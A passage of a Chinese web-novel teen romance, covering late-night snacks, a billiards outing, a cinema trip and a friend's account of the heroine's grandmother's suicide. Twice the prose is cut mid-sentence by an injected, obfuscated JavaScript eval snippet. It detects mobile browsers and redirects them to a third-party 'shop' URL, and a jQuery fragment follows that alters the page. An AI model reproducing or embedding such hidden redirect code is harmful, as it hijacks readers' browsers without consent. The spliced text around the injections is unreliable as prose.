“哎呦,很快的,大概就半个小时,我们悄悄去悄悄回,”骆眀昭坐起来,连带着晃晃脑袋,莫名有种在撒娇的意味,说了半天,还真给她说馋了,“好久都没吃垃圾食品了,看着楼下灯火通明,你不心动吗?” 她说着下床,快走到窗边打开后摄像头,冲稍远处小吃街拍着,小区内一片漆黑,更显得那一整条街巷灯光闪烁,热闹非凡。 屏幕那头的骆眀昭还在试图劝着他,牧时桉握着手机的力气有些大,他安静看着骆眀昭,喉结似乎滚了一下,呼吸紧促。 他当然想见她,从正式在一起后,他们的每一次见面都是短暂又快速的,像是搞什么地下接头行动一样。 最近那次陪着骆眀昭去巷口小超市,一路上全都是人,他们还不到能正大光明牵手的时候,尤其骆眀昭左右察看就怕被熟人发现,只敢在无人处,手指蹭过时悄悄勾在一起。 牧时桉不禁仰起头,他与骆眀昭所看到的是同一片窗外景象,绮城夜色宁静而又幽深,同时在寂静之中,隐秘与悸动是又一主题。 也许是情难自禁,他脑子里浮现这么个词语。 在幽暗路灯下,亲密相拥,牧时桉忍不住地去想,这个年纪的男生似乎逃不开这种不知来源于何处的渴望,他怕自己冲动,这是他的真心话。 屏幕那头仍对着窗外,骆眀昭迟迟没有将镜头转过去,大概是有些恼意,两边安静许久。 “下楼吧。”牧时桉轻叹口气,最终还是败给她了。 屏幕那头骆眀昭激动地小声喊:“真的!那赶紧,我们换衣服下楼,淀粉肠俺来喽。” 看起来吃的还是比他更受欢迎,牧时桉笑了一下。 几分钟后,骆眀昭死死压制呼吸走出卧室然后将房门紧闭,虽然骆齐和王乐萍睡得很熟,但只要制造出一点点动静都还是会引起她的心脏剧烈跳动。 她拿着钥匙手机,蹑手蹑脚开门,迎面牧时桉已经站到了她家门前,给骆眀昭吓一跳。 出点动静啊,大哥!想把我吓死! 骆眀昭调整呼吸,又跟小偷一样走出家门,轻轻地将房门关闭,等到门彻底关闭,她终于舍得大口喘气。 “这么怕被发现还要吃?”牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192515|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时桉挑挑眉,语气有些揶揄。 骆眀昭睨他一眼,气得不行,如果就她自己,被发现不过挨打一顿,可偏偏旁边还跟着个家伙。 “你要不要去,不去我可回啦?”骆眀昭哼哼唧唧。 明明她想吃炸串,现在好像牧时桉求着要出门一样。 “去。”牧时垂下眼笑,然后就这么恰好地牵住了她的手,甚至在不经意间十指相互纠缠着,紧紧攥在一起。 他们没这么牵过,如此紧密,骆眀昭开始压根没发现,因为偶尔跟姐妹在街上也会这么牵,可直到走出楼道,她才反应过来这跟从前根本不一样,那感觉更温热,更有力些。 在月光下,骆眀昭眯起眼去看他们握住的手,耳根逐渐红透。 他干嘛?连点前奏都没有,就这么直接? 可即便脸热,骆眀昭也很喜欢这种感觉。 他们心照不宣地谁也没有提及这个微小改变,牵着手往小吃街走,只是都收敛不住唇角笑意,尤其是骆眀昭,不知道绷成什么样,才让她没笑出声。 不过十几步之隔,到了小吃街就仿佛来到另一个世界,各种对话声掺杂在起来,刚好卡在不聒噪很热闹的程度。 在这条街吃这么久,骆眀昭也有自己的喜好取向,她领着牧时桉来到一辆炸串车旁,对着摊主说道:“老板,一串炸淀粉肠,一串炸小馒头。”她又问,“你要什么?” 想想自己吃饭的模样,还是不影响她夜宵的食欲了。 “不了,你吃就好,就这些?”牧时桉问。 骆眀昭点点头,就这些,她只是馋不是饿,尝尝味道满足口欲即可,吃太多晚上会睡不着觉。 油锅沸腾,骆眀昭伸头望着,幸好就他们两个客人炸得很快,没几分钟四串就被打包装进纸袋里,递给她:“走吧,我们去楼下吃。” 这里人太多,她想跟牧时桉两人呆着。 果然走回楼下,周遭就安静很多,虽然简陋连个坐的地方都没有,只能站在路灯下借着这一点点光源,骆眀昭也觉得她选对了地方。 下楼的这个决定,果然是相当正确的。 骆眀昭靠着墙,从口袋里抽出一根淀粉肠来,外皮划过纸袋还发出沙沙响声。 光听声音她就知道咬下去一定很脆,事实也是如此。 “好吃吗?”他轻声说。 骆眀昭笑起来,美滋滋吃着:“味道真心绝了!” 牧时桉目光就这么一直落在她脸上,只要看着她开心自己就很满足。 他帮她拿着塑料袋,另一只手牢牢地牵着她,路灯下她仿佛含着水的眼神更为清亮,那是独骆眀昭才有的,令人沉迷的目光。 牧时桉忽然有点不敢看她,硬生生强迫自己移开视线。 “看什么呢?为什么不看我了?”骆眀昭这时忽然戳破他,眼眸含笑。 她故意去逗他。人是敏锐的,能察觉到有人在凝视自己,尤其是在五感高度紧张的情况下,牧时桉大概以为她在没心没肺吃着,但事实上心间汹涌。 太安静了!还唯独就他们两个,她捏住那根竹签的手越发得紧,甚至可能泛白。 牧时桉怔愣片刻,才缓缓抬眸看她,两个干净的灵魂就这样赤裸着四目相对。 他感觉喉咙干涩,哑得几乎说不出话来,只能勉强挤出来:“你觉得呢?” 哇,他这人很鸡贼唉!骆眀昭忽然觉得。 总要在这种时候反问她。 骆眀昭把手从他掌心挣脱出来,微风拂过,他顿时感到空落落的。 却没想到她拎着那根空空如也的竹签,小跑到垃圾桶旁边丢了进去,再次回来时,反手牵着他。 其实若不是她吃了炸淀粉肠,她现在很想亲亲他,只亲脸颊那种,因为他现在有点呆,超级可爱的,以至于心脏软得一塌糊涂,明明是酷哥脸,为什么搞得这么纯情啊。 唉,算了,还是得她亲自出马—— 骆眀昭扬起头,微微笑着看他:“牧时桉你凑过来点,我跟你悄悄说个秘密,超级劲爆!不听绝对是你今天最大的损失!” 牧时桉愣了一下,还是照着她的话缓缓俯下身,侧过脸将耳朵露给她,等着她开口。 而下一秒,汹涌而来属于少女的气息蔓延着她整个鼻腔,骆眀昭额头轻轻抵住他的肩胛骨,手臂也虚虚地环住他,就这样拥抱住了牧时桉。 “我说什么来着,不听是不是你今天的损失?”她声音闷闷地从牧时桉下颌出传来,虽然她听着像是很自如的模样,可实际上脸烫得出奇,不敢贴着他也是怕单薄的短袖布料会将她此时的热意传递。 牧时桉身子僵住,垂下眼,她就这么抱住自己,他努力缓和着呼吸,很轻地回了一句:“嗯。” 他没敢伸手回抱她,他担心克制不住自己。 浅浅的拥抱结束,骆眀昭起身,努力朝着他笑。 “一个小礼物,感谢我男朋友陪我偷溜出来吃宵夜。” 65. 小浣熊干脆面 “今天白天,绮城最高气温将达到三十八摄氏度,气象台发布高温黄色预警,请各位市民做好出行防护,午后尽量减少外出活动……” 骆眀昭坐在出租车的后座,在嘈杂的广播声中昏昏欲睡,车里呼呼冒出冷气,直直吹在她露出的双腿上,搞得她不自觉打了个寒颤。 “冷了?”身旁牧时桉扭头出声问她一句。 骆眀昭摇摇头,狭窄的车厢里只能小幅度地伸个懒腰:“没,昨天睡得有点晚,我还没睡醒呢。” 高中阶段最后的这个暑假还剩一周,原本还有三四天的课要补,骆眀昭实在受不住跟老骆王女士抗议,辅导老师课后还会给她留题,再加上学校留的几大厚本假期练习册还没怎么动过,再补下去她就真写不完作业了,这是真心话。 骆齐和王乐萍对视一合计,原本鸡娃项目也就算是临时起意,也不至于把骆眀昭逼成啥样,最后还是放她这一周时间自由。 其他几个该补课还是得补课,不过还是抽出来今天时间能暂休,整个暑假这才是他们第二次出门。 牧时桉手臂撑在车窗旁,看她一眼:“半夜干什么去了,不睡觉。” “还不是大家说今天要出来玩,”骆眀昭咬咬牙,一想到昨晚奋笔疾书就感觉手腕隐隐抽筋,“赶了好久作业呗,语文十二篇作文,我之前一篇都没写。” 就像文科班会重视数学一样,理科班语文老师也会想尽办法折磨他们这群,看见满篇汉字就头晕的理科生们。 今天温度也算是创下绮城历年新高,对北方人来说,热得感觉呼吸都很困难,这样的环境下,一切室外活动也都可以叫停了,他们大中午出门玩,也只能找点空调大开的地方。 到了约定的台球厅,那三个人都已经在台桌上开打了。 “瞧瞧,这不是我们朝朝暮暮CP大驾光临吗?”薛游手里举着球杆,看着他们来挑挑眉揶揄着。 梁若璇台球打得不错,母球发出去成功入袋,她直起身后一巴掌排在薛游背上:“你能不能不这么欠?我们本来对你就很有怨念好吗?” 毕竟所有人暑假都忙着补课,就他一个人闲着,简直不要太幸福。 骆眀昭更是无语,原本下车后牧时桉手已经伸到她手边,却被她一巴掌顺势拍走,天太热黏黏糊糊嫌麻烦是其次,就怕进来惹得好朋友们打趣,没想到还是没能制止薛游这张嘴。 梁若璇将球杆随意丢在台桌上,就朝着好久没见到的小姐妹小=跑过去拥抱,刚刚林雨彤来她也是同样的接待仪式,无意识碰歪了好几颗球。 薛游顿时丧着脸直叫唤:“我都想好怎么打了!天,我的好球!” 小姐妹们亲密地贴贴脸,表示喜悦:“昭昭,好想你!” 无论多少次,被大美女抱着还是感到无比满足,骆眀昭笑得很痴汉:“嘿嘿,我也想你,小璇。” …… “所以你俩到底是怎么好上的?谁先表白?”中场休息,五人一块坐在角落沙发,薛游撑着脑袋,没完没了地问这个问题。 作为旁观者的林雨彤都已经被他问烦了:“不是大哥,你非要刨根问底干嘛?写专题采访?想出篇报道?” 薛游手里握着冰镇雪碧,大咧着腿坐得像是二流子,振振有词:“那我兄弟有女朋友我不得关心一下,我连他什么时候有喜欢的人都不知道。” 说到这里,感觉他的话里画话外带着丝丝幽怨。 牧时桉帮梁若璇开矿泉水瓶盖,递给她后,扭头看了他一眼:“我先表白的。” 薛游也莫名很好哄,得到想要的答案,顿时兴高采烈。 “是吗?那讲讲细节?”他笑得很是邪恶。 骆眀昭嫌弃地看着他,顺手将手里抱枕丢在他身上:“干嘛,你得寸进尺?” “我这叫恃宠而骄。”说完他还比划了个“皇上吉祥”的手势。 梁若璇一巴掌再次落在他背上:“没事昭昭,他掀不起什么风浪。” 几个人笑着打打闹闹,牧时桉兜里的手机忽然一震,他摸出来,垂下头看到来电是一串本地陌生号码。 薛游就坐他旁边:“谁的电话?” “不知道,接了看看。”他说。 他也不想打扰他们玩的兴致,于是拿着手机起身,朝着卫生间的方向走过去,靠在过道墙边,牧时桉伸手按下接听键。 “喂,你好?”牧时桉出声问。 通话那头是个中年男人的声音,他有些犹豫地说:“是牧时桉吗?” “是我,你是哪位?” 却没想到对面说:“我是你骆叔叔,骆眀昭的爸爸。” 牧时桉手机贴在脸侧,他先愣了片刻,转而把语气放柔和些:“骆叔叔?是找骆眀昭吗?” “不是,我找你,唔……”对面声音瞬间模糊起来,像是那种用手堵住听筒,牧时桉把声音放大,对面隐隐约约能环境有些嘈杂,骆齐应该是跟人对话中,“……那边救护车刚开,估计一个多小时……嗯……一会儿来先造影……” 等待一阵,那头被堵住的听筒逐渐清晰:“小牧啊,骆眀昭说你们下午出去玩了是吗?” “是的。”他回道,心间莫名慌乱,仿佛是错了拍。 骆齐语气不像平日,但也能听出来是努力维持正常模样:“叔叔想拜托你个事情,本来想联系雨彤我才发现没存她的号,所以跟你爸爸要来了你的号码。骆眀昭她姥爷身体不太舒服,正从县城往绮城转院来的路上,情况可能不太乐观,一会儿我和她妈妈得在这看着,叔叔想拜托你,如果可以,尽量和朋友们多陪她玩一会儿,你们稍微晚点回家,通宵去唱唱歌也行,反正你们都大了,千万千万保证安全,我跟你阿姨我们这实在走不开,回去太晚怕她担心。” 牧时桉愣住,走廊静谧,他忽然不知该如何呼吸,第一次手足无措。 “叔叔……我能问一下,骆姥爷他,严重吗?” 骆齐顿了下,叹口气说:“急性心梗,你爸爸以前也是心内科的,你应该多少知道点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199626|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看看造影结果吧,现在还不太清楚。” 牧时桉呼吸有些急促,许久之后,吐出一口气:“好的,我知道了,如果有新的状况您联系我,好吗?” “……好的,”骆齐也很难受,“给你添麻烦了。” 对面电话切断,牧时桉忽然感觉很冷,由内而外的感觉冷。 他压着逐渐紊乱的呼吸,试图将它恢复原状,喉间哽着,他缓和了很久的呼吸频率。 他大概能明白骆齐的用意,当年骆姥姥的去世去骆眀昭不可能没有影响,牧时桉也在日常相处中知道,骆眀昭跟姥爷感情很好,如果现在再告诉她姥爷情况很差,那她大概率会情绪崩溃。 可是……他们真的有资格吗?决定她的知情权。 脚步声由远及近,牧时桉缓缓直起身,他扭过头,薛游咧着嘴朝着卫生间走过来:“干什么呢?就是诈骗电话这会儿也该聊完了吧?” 牧时桉把仍亮着的屏幕暗灭,握着手机:“她们干什么呢?” “梁若璇和林雨彤的世纪大战,不去看看?”薛游说。 “回去吧。”牧时桉往台球桌的方向走回去。 女生决战,骆眀昭做裁判,梁若璇俯下身,瞄准着母球。 薛游跟溜达过去就为找牧时桉,跟在他身边一块回来,看热闹不嫌事大,也可能是报他好球被打乱的仇,忽然说:“手别抖啊!” “嘭”一下,梁若璇被他吓了一跳,球果然歪了:“薛游,你别逼我骂你!” 牧时桉目光落在沙发上兴冲冲看着PK的骆眀昭,目光晦暗,大步朝着她走过去,坐到她身侧,骆眀昭反应过来时,感觉旁边的沙发陷了进去。 “你干嘛去了?不会真的像薛游说的被诈骗去买保健品了吧?”她眼神还定在球桌上,慢腾腾地转过来,她手里还捏着什么吃的,“要不要吃?刚去柜台那看有买小零食,我买了小浣熊。” 牧时桉沉下去的心稍稍被她的玩笑缓和些,他勾着唇:“你吃饱就行,少听他天天胡说八道,你没去打两杆?” “妈耶,我可算拉倒,我拿着杆去戳球,能保证球好好在球桌上就已经是谢天谢地,我之前还有次差点把球戳到对面球桌上去。”骆眀昭歪着脑袋悠哉地吃干脆面,摆摆手讲述自己曾经的尴尬经历。 牧时桉偏过头,眼神直直地定在她脸上,声音像是在克制着什么:“那要不要我下次教你?我打得还行。” “算了,本人实在运动天赋差点,在旁边给你们喊加油就行。”她笑着说。 牧时桉双腿交叠着,撑在腿上的手臂脉络清晰,他垂下眼。 “今天多陪我待会?”角落沙发处沉默许久,牧时桉忽然开口打破这份沉寂,尾音不自觉地拉长,带着恳切,似乎还有些抖。 骆眀昭不解地扭过脸,确实前段时间他们见面很少,不过没想到男朋友还有粘人属性呢? 她笑着说:“当然可以啊,乐意至极哦。” 牧时桉看着她的笑,手心逐渐攥紧。 66. 爆米花 像今天这种燥热的天气,即便是地下台球厅打着空调,人心还是忍不住浮躁。 几盘下来大家也都没了再打的意愿,只是比起刚刚的闹腾,实在是显得太过安静些。 “她就这么睡着了?喔哦。”薛游压低声音,指向歪到在沙发扶手上的骆眀昭,她闭着眼睛呼吸平稳,脸上甚至微微带着酡红。 也实在是不怪他惊奇,毕竟十分钟前他们三个投入比赛,又喊又叫那动静真算不得小。 牧时桉偏过头瞧她一眼,吃干脆面时就说困,嚼着嚼着就说要小打一个盹,于是就把自己防晒衬衫团起来做枕头用,这都半小时过去了。 “在出租车上就说昨晚上没睡够。”他仰头灌了口矿泉水,低声说。 梁若璇托着下巴,一脸姨母笑:“你们觉不觉得,昭昭脸肉嘟嘟的好可爱。” “不然你上手戳一下,手感爆好。”林雨彤在旁边撺掇。 牧时桉眼神漫不经心扫过她们一眼:“别吵她了,睡吧。” 众人起哄顿时压低声音:哦!! 大家也没什么不满情绪,毕竟朋友们只要在一块坐着消磨时光,那感觉就比一个人待着强。 正埋头刷着手机,牧时桉忽然出声:“你们今天在外面待到什么时候?” “怎么,你着急跟你家骆眀昭过二人世界?”薛游嘴欠的不行,冲着他扬扬下巴。 牧时桉掀起眼皮撇他一眼,却说:“这么久不出门,多在外面待会吧。” 梁若璇先震惊:“这又不是你呆十分钟就说要回去睡觉的时候了?” “我哪次真回去过?”牧时桉直接反问。 梁若璇没了理,讪讪笑着:“那倒是啊,大侄子。” 牧时桉手里一直握着喝掉一半矿泉水瓶,不久前它还是冰镇的,此时手心只能感受到阵阵余温清凉,他无意识地左右来回颠倒着水瓶,半瓶子水跟着运动,那凉感是一阵一阵的。 无数繁杂的思绪在脑中交汇,牧时桉得承认,对于骆眀昭所曾经历的强烈冲击,他根本无法感同身受,他从没经历过身边亲人离世,每个人对死亡的感知力是不同的,对他来说这两字仅仅代表着空白与未知。 在牧时桉的眼中,骆眀昭是这个世界上色彩最为丰富的人,她明媚、敏锐又勇敢,似乎没什么真正的烦恼能困住她,可这是他第一次感受到心慌害怕,因为如果她一直在作无碍状呢?骆眀昭真的好吗? 这么比起来反而显得他懦弱,牧时桉深邃目光落在她身上,他竟想让她就这样一直睡着,这样他就能再多些时间决定,他应该把骆姥爷的事告诉她吗? “说起来,我忽然想到个事,”梁若璇压低声音说,“昭昭她什么时候过生日啊?” 林雨彤正埋头看着手机,忽然停顿一下。 “差不多满打满算咱们认识也快一年了吧,怎么说也该轮上一次昭昭的生日,可到现在还没听你们提过,也没听她自己提过,应该也是十八岁的生日吧?”她出声道,“雨彤,你知道是哪天吗?” 林雨彤忽然被点到,不由自主地愣住,她怎么说也该知道的。 “我……”她扬起头,抿着唇,“知道啊。” 梁若璇眨巴着眼,很激动凑到她旁边问:“哪天啊?我想想该送个什么礼物给她。” 即电车难题该救那边的问题后,林雨彤感觉第一次遇上她人生新的难题——该不该告诉他们骆眀昭的生日。 “你们聊什么呢?”耳边忽然传来女生嘟囔的声音。 大家闻声看过去,骆眀昭手臂撑在沙发扶手上,半梦半醒地揉着眼睛。 “吵醒你啦?”梁若曦不太好意思地笑笑,“我们在聊,昭昭你什么时候过生日,我们好帮你庆祝。” 骆眀昭愣了一下,手在眼眶边停顿住,所剩无几的那点困劲也消失殆尽。 算了,总有一天他们都能知道的,瞒什么呢,她心想。 “哦,我生日在七夕,阴历七月七。”骆眀昭不动声色地将搭在沙发扶手上的衣服收回来,套在身上。 牧时桉拧眉看着她,心里莫名发慌。 不知情况的薛游和梁若璇倒是惊奇,尤其梁若璇:“七夕啊!那不就是后天吗?可我还什么都没替你准备啊!” 尤其是他们帮她完成了一场完美的生日后,梁若璇就对好友的这个大日子更为上心。 骆眀昭几乎可以已经预判了她在想什么,于是弯唇笑笑说:“很神奇吧,就是情人节过生日,没事你们什么都不用替我准备,我很少过生日也没打算大办,所以就没告诉你们。” 过了午后最容易困倦的那个时间段,台球厅里的打球的人也逐渐多了些,吵嚷着噪声不断。 骆眀昭垂下眼拧开自己的可乐,“呲”一声小气泡涌上,虽然冒出来的不多,可仍将她大拇指上沾上了些黏腻的糖水。 她正愣着,手边递过来抽纸,她扬起头是牧时桉:“谢啦。” “可是十八岁生日哎,真的不好好准备一下吗?”梁若璇试图劝她。 骆眀昭捧着可乐瓶,意想不到坚定:“真的不办。” 表态迅速到大家都愣了一下,因为平日无论有什么事,她永远是说那句,我都OK的人。 骆眀昭见状赶紧解释:“哦,主要我生日刚好跟我家里人的忌日正撞,大办也有点怪,所以我家里一般都不办。” 气氛却由此更凝重。 “可这样,不会对你……”太不公平了吗?余下的话梁若璇没说,这个年纪的孩子们哪会有对生日不重视的。 薛游没接话,但看表情是同样的态度。 “哎呦,你们别这种表情,还有你干嘛老皱眉,”骆眀昭笑着用胳膊撞了下自家男朋友,“没你们想象的那么严重,我自己原本也不爱过生日,过一岁老一岁的。” “你后天才十八岁好不好,骆眀昭。”林雨彤也帮她接茬,活跃气氛。 骆眀昭插着腰:“喂,谁不想自己永远十八岁啊!” 她俩好像相声演员,一个逗哏一个捧哏,你来我往地氛围就逐渐正常了些。 骆眀昭眼睛弯弯笑着,手搭在双膝上,却不知不觉捏紧裙摆。 “咱们一会儿干点什么去吧?光在这台球厅带着也没劲。”骆眀昭开口,扫过这地下台球室里越来越多的客人,鼻子敏锐嗅到淡淡烟草味。 薛游翘着二郎腿:“要不去逛夜市吧?中央大道那边购物广场后面,一整条商业街都整改一遍,挺热闹。” “大哥,你要不要看看现在几点,有个屁的夜市?”林雨彤悠悠瞥他一眼,把自己手机屏幕点亮,朝着他晃一眼。 北京时间,十五点零一分。 “那天黑去呗,趁着这会儿去电影院找个电影看。”他满不在意地提议着。 这倒是是个好建议,几个人对视一眼,大概意思是全票通过。 “走吧。”牧时桉起身,顺手还握着骆眀昭的手腕,顺势一把带起。 秀恩爱这种事,起哄也就是那么一阵,习惯习惯就没能完全做到无视。 天气又热的邪门,为了看场电影特意打车转场又费钱也瞎耽误功夫,原本也就是为打发时间,梁若璇拿手机一搜,最近的电影院居然就在楼上。 这栋大楼原先七八年前是个百货大楼,后来实体生意不好做就这么倒闭了,但里面还有些店铺仍开着,这电影院就是其中之一。 找上六层的电梯时,七拐八拐地都找到保安室去了都没找到电梯,最后几个人生无可恋地爬上六层,从楼梯间一出来,眼前就是个电梯。 林雨彤气得不行:“谢谢你啊,我就说往前再走两步,你非拉着爬楼梯。” “大小姐,我的错行了吧。”薛游也自知没理,赶紧滑跪。 他们吵着,梁若璇不禁朝着两人方向看了一眼。 “到了,少说两句,”骆眀昭在中间做和事佬,话落又指指前面电影院的门,“别说这楼这么破,电影院倒是挺新。” 实在是楼梯间那个墙面,都不能用灰色来形容,说黑色又显得过分刻薄了点。 买票的梁若璇负责去取票,林雨彤陪着,最近片子实在无趣,索性就买了场重映的美国经典英雄电影来看,虽然都看过七八遍没什么新意,但在影厅里看的感觉必然是不一样。 “我以为你会买点什么爆米花来吃?”众人都在自己的位置坐定,牧时桉坐在最边上,旁边是骆眀昭。 骆眀昭把衬衫盖在腿上,阻挡空调冷风:“晚上不是去逛夜市嘛?我不得留着点肚子?”步行街一听就是个美食很多的地方。 他笑着说:“真的不想?” 要非这么说,那—— “也是有点想。” “那等我一会儿。” 牧时桉起身出去,顺带拍拍薛游肩膀,让他跟自己一起去。 两人再回来时,每人拿了两小桶。 “给。”牧时桉递给她,闻到这股香甜的味道,骆眀昭还是忍不住开心。 牧时桉目不斜视地看着她,不自觉地捏了捏她的手,她手很小,几乎能将她的手彻底包裹住。 好友都在身旁,她不禁脸颊有点发烫,清清嗓子:“要开始了,你把注意力都放在屏幕行不行。” 这场一共就他们五个观众,那边三个还在热聊着剧情,没人在意他俩这的事。 “好。”他笑。 即便熟悉剧情,热血刺激的场面也让人看得投入,林雨彤那一阵在台球厅水喝得多,这会儿有些坐立不安地想去洗手间,她从包里摸出手帕纸,小小翼翼离场。 正甩着手里的水从卫生间里走出来时,她愣了一下,面前那个人影俨然就是牧时桉,他靠着墙,正好朝着自己看。 “怎么?也来上厕所啊?”她随口打趣一句,就要往影厅走。 却没想到,牧时桉出声道:“等你,想问你点事。” 电影院里弥漫着爆米花的味道,甜腻得吓人,洗手附近又掺杂着浓重的廉价空气清洗剂味,两种味混合着,让人不禁蹙起眉来。 被这味道熏得,林雨彤一开始脑子没怎么转过弯来:“问啥?” “关于骆眀昭的事。”他说。 牧时桉的眼神直白又坦率,让林雨彤心里突突的。 他又补一句:“关于她的生日那些事,你应该知道不少吧。” 在台球厅里,他清楚地看出当下林 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她指指走廊角落,却也分不清这心慌究竟从何而来,两人默不作声地走过去。 即便是作为倾听这故事的旁观者来讲,林雨彤都觉得有些太难开口了些。 她站定住,插着兜开口:“她姥姥当年是外伤导致的脑出血。” “好像是直接从楼梯上栽下去了吧,具体是怎么伤得我不知道,但总之是在楼道里躺了有一阵没人发现,再加上县城你也知道,毕竟没有咱们这医疗水平好,送到绮城时耽误了脑出血量有些大,好不容易救过来醒了,结果落下很多后遗症。” “听说是伤到什么具体特殊部位导致偏瘫,那种专业名词我也不懂,大概意思就是说老人原本身体状况也不算很好,又伤到那里,今后大概率就没有恢复的可能性,她姥姥躺了一个月意识逐步恢复清醒了些,整个人心理状态其实就不太行了。” 林雨彤不经意地瞧了眼牧时桉,又兀自长叹口气:“其实她姥姥当时岁数还不算大,七十多岁,要没这意外还有十几年能活,但出了这事就代表今后不管能活多久,都得让人看护,生活也不能自理,而且偏瘫这事我还了解过,除了功能障碍外,还会面临很多后遗症。” “大概是彻底绝望吧,又不想成为今后家人的拖累,”她停了一下,缓和许久才敢开口,这事当年骆眀昭只跟她讲了一次,但如此大的冲击让林雨彤这些年也没能忘掉,“护工推着老人下楼晒太阳,回来时出去接个电话,人暂时留在轮椅上,纱窗开着条缝,老人就这么拽着窗帘滑过去,扒着窗框人就栽了下去。” “只能说一切都赶上了,身边没人,又有轮椅助力,窗户没关,其实但凡少一点其实以老人家的当初身子都干不成这事,但就是这样,她成功了。” “……”牧时桉声音抖着,“眀昭她……” “她就在楼下,亲眼看着,人从十楼摔到地上当场去世。”林雨彤说着,她眼睛不禁闭起来,又迅速睁开,即便是想象到那种血肉模糊的场景,她都感觉到害怕,脊背发凉。 “都说到这了,也不在乎多说点,毕竟你是骆眀昭的男朋友,以后你应该护着她的,”林雨彤无奈地笑笑,“你没发现吗?骆眀昭在人多的地方走不动路,需要人牵着。” 牧时桉垂在身侧的手掐出红印,甚至见了血丝:“……发现了,她有次告诉过我,前庭失调。” “她老拿前庭失调这毛病说事,我问过王阿姨,她出生那会儿确实有这毛病,但早就治好了,她根本就是当初的事没过去,”林雨彤声音大了点,“混乱的人群,有人在喊救命,有大夫忙着往外赶,密密麻麻全都是人,她被挤在人群里,动都不了。” “后来骆叔叔发现找不到她人在哪,调监控找人,才发现她在原地就那么直直站了四个小时,等他们赶过去,大半夜她人一个晕在那。” “所以牧时桉,”林雨彤忽然长长地吐出口气,“这话我一直也没跟你说过,其实也不该我来说,无论你是因为什么跟骆眀昭在一起,因为什么跑过来问我这些事,总之希望你好好对她,就算真的有天分手,体体面面的别伤害她行吗?” “好……”牧时桉靠着墙,晦暗的角落里,眼角划过一丝凉意。 林雨彤仰着头看他一眼,抿着唇:“我先回去了,你再等会。” 说完,扭身往影厅的方向走去,这片角落就只剩牧时桉一个人,回想起曾经骆眀昭那些明媚的笑,他心痛到无法呼吸。 约莫等了三两分钟,他长长地吐出口气,回到影厅。 拉开厅门的瞬间,影片里吵闹的打斗声就这么传进他的耳朵里,他走进去靠着投影机微弱的光源找到来时的位置,他垂下眼看着满心满眼都在电影里的骆眀昭,轻轻地坐到位置上。 “去了挺久,错过很多精彩画面哦。”骆眀昭见他回来,扭过头打趣着。 牧时桉沉默着,手伸过去牵住她,半晌后跟她说:“嗯,有点遗憾。” 骆眀昭不以为意,笑着偏过头。 “一会儿讲给你嘛。” “说好了。” “嗯!” 67. 鸡肉串 只能说经典就是经典,即便后来在电视或是视频网站看过无数遍,电影院里带给人的震撼感还是非同寻常的。 “哇,三个小时坐得我好累!腰酸背痛。”骆眀昭从电影院走出来,伸了个大大的懒腰,她歪着头捶捶肩膀,偏头看到身旁的牧时桉,他似乎不在状态。 “怎么?你不爱看这个类型的?”骆眀昭好奇地问了一句。 牧时桉也意识到大概是自己走神太明显,仰起头,回说:“没,挺有意思的。” 原本电影就是为了打发时间,从窗外瞧过去那片天空已然被渲染成橙红色,他们也准备出发去原本想逛的夜市。 既然有电梯就没必要再废腿地走楼梯,五个人挤在小轿厢里时,梁若璇顺口问了句:“咱们坐地铁过去?正好往外走不远是地铁站。” “打车吧,这点地铁人多。”牧时桉忽然说,与此同时,电梯“叮”一声到一层。 林雨彤在前面走着,闻声扭过身瞧他一眼,看来刚刚自己的话这哥都听进去了。 骆眀昭本人还没意识到这事,随即抬眼看向牧时桉:“人多怎么啦?这个点路上还堵呢?晚高峰唉。” “人多你可以吗?”牧时桉又伸手牵住了她,压下去其余的情绪。 骆眀昭想起自己曾跟他解释过前庭的问题,笑着把额前碎发捋到耳后:“不是有你们吗?能带着我走啊。” 牧时桉停顿片刻,轻嗯一声,明白自己似乎有些过犹不及了。 最后他们还是选择更方便的公交交通,的确这个时间地铁里人很多,尤其是车厢里,人挤着人,几乎没有下脚的地方。 骆眀昭心脏扑通狂跳,那种迷茫又喘不上气的感觉再次涌上来,她垂下头努力在他人瞧不见的地方做着深呼吸,幸好,有个人一直牵着她,没有松手。 牧时桉用自己的身子圈着她,将她与人群分隔,他微微弓着背,某个视角她几乎是被男孩搂在怀里,车厢里很吵,有人在讲话、地铁运行的噪音伴着风声,呼呼地从耳旁略过。 “还好吗?”一个声音忽地从她头顶传来,有些听不清但直冲她而来。 他们离得很近,骆眀昭害怕蹭到他于是小心翼翼地仰起头,可额角还是不经意蹭到牧时桉的胸口,男生的身子硬挺又结实,那一瞬间两人都愣了一下。 车厢的冷气出风口就在他们头顶正上方奋力运作,可耳根红热,这点冷气似乎没什么太大用处,骆眀昭脸还是烫得吓人。 早知道就坐出租了,她忽然想着,至少没这么挤。 骆眀昭努力稳定心神,但却没敢再仰头:“还行,快到了吧?” “嗯,还有一站。”他声音有些哑,温热又一起一伏的气息撒在她的发璇。 骆眀昭一手紧握着车厢内扶手杆,另一只手又被人紧紧握着,她无意识地冒汗,感觉手心又潮又热,鼻腔里还不停涌上男生的气味。 从前大多只能嗅到那种洗衣液皂香,大概是因为夏天衣服穿得少,就这么件贴身单薄的短袖。如今她闻到的是若隐若现的沐浴露味和牧时桉自己皮肤原本的气味。 说不上来,是那种很温暖的感觉,让人留恋。 